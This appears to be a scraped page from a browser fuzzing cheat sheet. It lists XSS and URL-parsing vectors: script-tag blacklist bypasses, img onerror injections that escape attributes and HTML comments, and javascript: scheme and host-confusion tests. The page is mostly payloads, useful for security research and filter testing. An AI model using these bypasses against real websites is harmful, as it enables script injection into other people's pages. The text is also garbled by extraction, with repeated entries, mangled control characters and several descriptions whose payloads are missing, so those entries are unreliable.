Cheat Sheet
Generated payloads from fuzz test results. Filter by type, category, or browser.
Found 212 vectors with results
<a href="//0x09example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters after double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="//
example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters after double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="//
example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters after double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="///example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters after double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="//@example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. This one fuzzes characters after double slashes. It uses a base tag to get round the sandboxed iframe problems.
<a href="https://example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
<a href="https:\\example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
<a href="/0x09/example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
<a href="/
/example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
<a href="/
/example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
<a href="///example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
<a href="/\/example2.com" id=x></a>This is an example how you can use the XSS type to fuzz URLs. It uses a base tag to get round the sandboxed iframe problems.
if (new URL("https://0x09google.com/endpoint").host=="google.com"){alert(9)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https:///google.com/endpoint").host=="google.com"){alert(47)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://@google.com/endpoint").host=="google.com"){alert(64)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://\google.com/endpoint").host=="google.com"){alert(92)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com/endpoint").host=="google.com"){alert(173)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com0x090x09/endpoint").host=="google.com"){alert(9)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com##/endpoint").host=="google.com"){alert(35)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com///endpoint").host=="google.com"){alert(47)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com??/endpoint").host=="google.com"){alert(63)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
if (new URL("https://google.com\\/endpoint").host=="google.com"){alert(92)}Characters ignored in URL, which yield in the same host property. This is just a simple modification of another fuzzing vector by hansmachine
<script0x09>alert(9)</script>For tag blacklist bypass, by appending character on the end of tag name
<script
>alert(10)</script><script0x0C>alert(12)</script>For tag blacklist bypass, by appending character on the end of tag name
<script
>alert(13)</script>For tag blacklist bypass, by appending character on the end of tag name
<script >alert(32)</script>if (new URL("https://google.com0x090x09/endpoint").origin=="https://google.com"){alert(9)}Characters ignored in URL, which yield in the same Origin
if (new URL("https://google.com##/endpoint").origin=="https://google.com"){alert(35)}if (new URL("https://google.com///endpoint").origin=="https://google.com"){alert(47)}if (new URL("https://google.com??/endpoint").origin=="https://google.com"){alert(63)}if (new URL("https://google.com\\/endpoint").origin=="https://google.com"){alert(92)}<a id="0x1B$@"></a>0x1B(B<a id="><img src=x onerror=alert(64)></a>Which escape sequences will result in scrambled HTML.
<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>Which escape sequences will result in scrambled HTML.
<a id="0x1B$B"></a>0x1B(B<a id="><img src=x onerror=alert(66)></a>Which escape sequences will normalize back to valid HTML
<a id="0x1B$B"></a>0x1B(J<a id="><img src=x onerror=alert(74)></a>Which escape sequences will normalize back to valid HTML
0 > 0x7f && normalizationForms.forEach(form => {
const normalized = String.fromCodePoint(0).normalize(form);
for(let charToCheck of charsToCheck) {
if(charToCheck === normalized) {
alert(String.fromCodePoint(0)+"("+form+")"+"="+charToCheck);
}
}
})This vector performs normalization and compares to see if the characters get normalized into path traversal characters
let chr = String.fromCodePoint(33);
escape(chr) !== encodeURIComponent(chr) && alert(33)This vector shows the differences between escape and encodeURIComponent
let chr = String.fromCodePoint(43);
escape(chr) !== encodeURIComponent(chr) && alert(43)This vector shows the differences between escape and encodeURIComponent
let chr = String.fromCodePoint(47);
escape(chr) !== encodeURIComponent(chr) && alert(47)This vector shows the differences between escape and encodeURIComponent
let chr = String.fromCodePoint(64);
escape(chr) !== encodeURIComponent(chr) && alert(64)This vector shows the differences between escape and encodeURIComponent
if (new URL("javascript"+String.fromCodePoint(parseInt(9..toString(16),16))+":alert()").protocol=="javascript:"){alert(9)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
if (new URL("javascript"+String.fromCodePoint(parseInt(10..toString(16),16))+":alert()").protocol=="javascript:"){alert(10)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
if (new URL("javascript"+String.fromCodePoint(parseInt(13..toString(16),16))+":alert()").protocol=="javascript:"){alert(13)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
if (new URL("javascript"+String.fromCodePoint(parseInt(58..toString(16),16))+":alert()").protocol=="javascript:"){alert(58)}Vector to check if any characters are allowed between javascript and : to still result in a javascript url.
let img = document.createElement('img');
img.src = 'data:';
img.setAttribute('\onerror','alert(92)')
document.body.append(img);This vector shows which characters are allowed before an event name when using setAttribute.
alert(new URL("http0x00javascript:alert()").protocol)Vector to check if any character can be used to ignore https scheme in URL
<div a="><!-- "></div><img src=x:x onerror=alert(34) -->This vector shows which characters act like quotes by nullifying a HTML comment.
<div a='><!-- '></div><img src=x:x onerror=alert(39) -->This vector shows which characters act like quotes by nullifying a HTML comment.
<div 0x09="><img src=x:x onerror=alert(9)>"></div>This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.
<div
="><img src=x:x onerror=alert(10)>"></div>This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.
<div 0x0C="><img src=x:x onerror=alert(12)>"></div>This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.
<div
="><img src=x:x onerror=alert(13)>"></div>This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.
<div ="><img src=x:x onerror=alert(32)>"></div>This vector shows which characters when used as an attribute name are ignored by the HTML parser and allow the image to execute.
prompt?.();alert(63)JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
JavaScript allows you to conditionally call a function using optional chaining.
This vector shows what characters are allowed after the void operator: developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
This vector shows what characters are allowed after the void operator: developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
This vector shows what characters are allowed after the void operator: developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
This vector shows what characters are allowed after the void operator: developer.mozilla.org/en-US/docs/Web/JavaScript/Re…
This vector shows what characters are allowed after the void operator: developer.mozilla.org/en-US/docs/Web/JavaScript/Re…